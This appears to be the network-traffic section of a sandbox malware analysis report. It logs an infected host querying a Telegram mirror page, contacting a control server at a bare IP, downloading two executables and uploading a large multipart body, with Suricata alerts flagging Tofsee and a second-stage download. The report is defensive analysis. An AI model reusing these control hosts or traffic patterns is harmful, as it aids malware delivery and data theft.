Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| telete.in | 195.201.225.248 | |
| google.com | 172.217.175.78 |
GET
200
https://telete.in/brikitiki
REQUEST
RESPONSE
BODY
GET /brikitiki HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: text/plain; charset=UTF-8
Host: telete.in
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 06 Sep 2021 09:08:44 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: stel_ssid=3e35a6f3feac9b8bbd_2090188105746985578; expires=Tue, 07 Sep 2021 09:08:44 GMT; path=/; samesite=None; secure; HttpOnly
Pragma: no-cache
Cache-control: no-store
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=35768000
GET
200
https://telete.in/brikitiki
REQUEST
RESPONSE
BODY
GET /brikitiki HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: text/plain; charset=UTF-8
Host: telete.in
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 06 Sep 2021 09:08:49 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: stel_ssid=34bf7a04d00506d761_2582880079271312456; expires=Tue, 07 Sep 2021 09:08:49 GMT; path=/; samesite=None; secure; HttpOnly
Pragma: no-cache
Cache-control: no-store
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=35768000
GET
200
https://telete.in/brikitiki
REQUEST
RESPONSE
BODY
GET /brikitiki HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: text/plain; charset=UTF-8
Host: telete.in
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 06 Sep 2021 09:08:54 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: stel_ssid=1deb54b8ca7b927739_1287173149389110329; expires=Tue, 07 Sep 2021 09:08:54 GMT; path=/; samesite=None; secure; HttpOnly
Pragma: no-cache
Cache-control: no-store
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=35768000
GET
200
https://telete.in/brikitiki
REQUEST
RESPONSE
BODY
GET /brikitiki HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: text/plain; charset=UTF-8
Host: telete.in
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 06 Sep 2021 09:09:00 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: stel_ssid=9259277ebeca788dc1_8977681891037242681; expires=Tue, 07 Sep 2021 09:09:00 GMT; path=/; samesite=None; secure; HttpOnly
Pragma: no-cache
Cache-control: no-store
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=35768000
GET
200
https://telete.in/brikitiki
REQUEST
RESPONSE
BODY
GET /brikitiki HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: text/plain; charset=UTF-8
Host: telete.in
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 06 Sep 2021 09:09:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: stel_ssid=03a242059f938d85ff_3526390743217136070; expires=Tue, 07 Sep 2021 09:09:05 GMT; path=/; samesite=None; secure; HttpOnly
Pragma: no-cache
Cache-control: no-store
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=35768000
POST
200
http://45.142.215.237/
REQUEST
RESPONSE
BODY
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: text/plain; charset=UTF-8
Content-Length: 128
Host: 45.142.215.237
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 06 Sep 2021 09:09:06 GMT
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Access-Control-Allow-Headers: *
Access-Control-Allow-Origin: *
GET
200
http://45.142.215.237//l/f/nxZPunsBPvGyIjkLqZcB/38f584651402b87b6e658beea19bc3711efb647c
REQUEST
RESPONSE
BODY
GET //l/f/nxZPunsBPvGyIjkLqZcB/38f584651402b87b6e658beea19bc3711efb647c HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: 45.142.215.237
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 06 Sep 2021 09:09:07 GMT
Content-Type: application/octet-stream
Content-Length: 916735
Connection: keep-alive
Last-Modified: Wed, 01 Sep 2021 16:21:39 GMT
ETag: "612fa893-dfcff"
Accept-Ranges: bytes
GET
200
http://45.142.215.237//l/f/nxZPunsBPvGyIjkLqZcB/e1f57414f8caba2ca5e4d8fa52512fb00d1a14f8
REQUEST
RESPONSE
BODY
GET //l/f/nxZPunsBPvGyIjkLqZcB/e1f57414f8caba2ca5e4d8fa52512fb00d1a14f8 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: 45.142.215.237
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 06 Sep 2021 09:09:13 GMT
Content-Type: application/octet-stream
Content-Length: 2828315
Connection: keep-alive
Last-Modified: Wed, 01 Sep 2021 16:21:39 GMT
ETag: "612fa893-2b281b"
Accept-Ranges: bytes
POST
0
http://45.142.215.237/
REQUEST
RESPONSE
BODY
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data, boundary=vD2tL1qC9bC3zV9eD9yX8dU8yY8lC1cV
Content-Length: 6744377
Host: 45.142.215.237
ICMP traffic
| Source | Destination | ICMP Type | Data |
|---|---|---|---|
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
| 192.168.56.102 | 216.58.197.238 | 8 | abcdefghijklmnopqrstuvwabcdefghi |
| 216.58.197.238 | 192.168.56.102 | 0 | abcdefghijklmnopqrstuvwabcdefghi |
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.102:49179 -> 195.201.225.248:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 45.142.215.237:80 -> 192.168.56.102:49190 | 2018959 | ET POLICY PE EXE or DLL Windows file download HTTP | Potential Corporate Privacy Violation |
| TCP 45.142.215.237:80 -> 192.168.56.102:49190 | 2016538 | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download | Potentially Bad Traffic |
| TCP 45.142.215.237:80 -> 192.168.56.102:49190 | 2021076 | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response | Potentially Bad Traffic |
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.102:49179 195.201.225.248:443 |
C=US, O=Let's Encrypt, CN=R3 | CN=telecut.in | be:a6:3d:e8:93:c3:13:0b:5f:1d:3a:f7:63:57:4c:39:0e:96:df:5e |
Snort Alerts
No Snort Alerts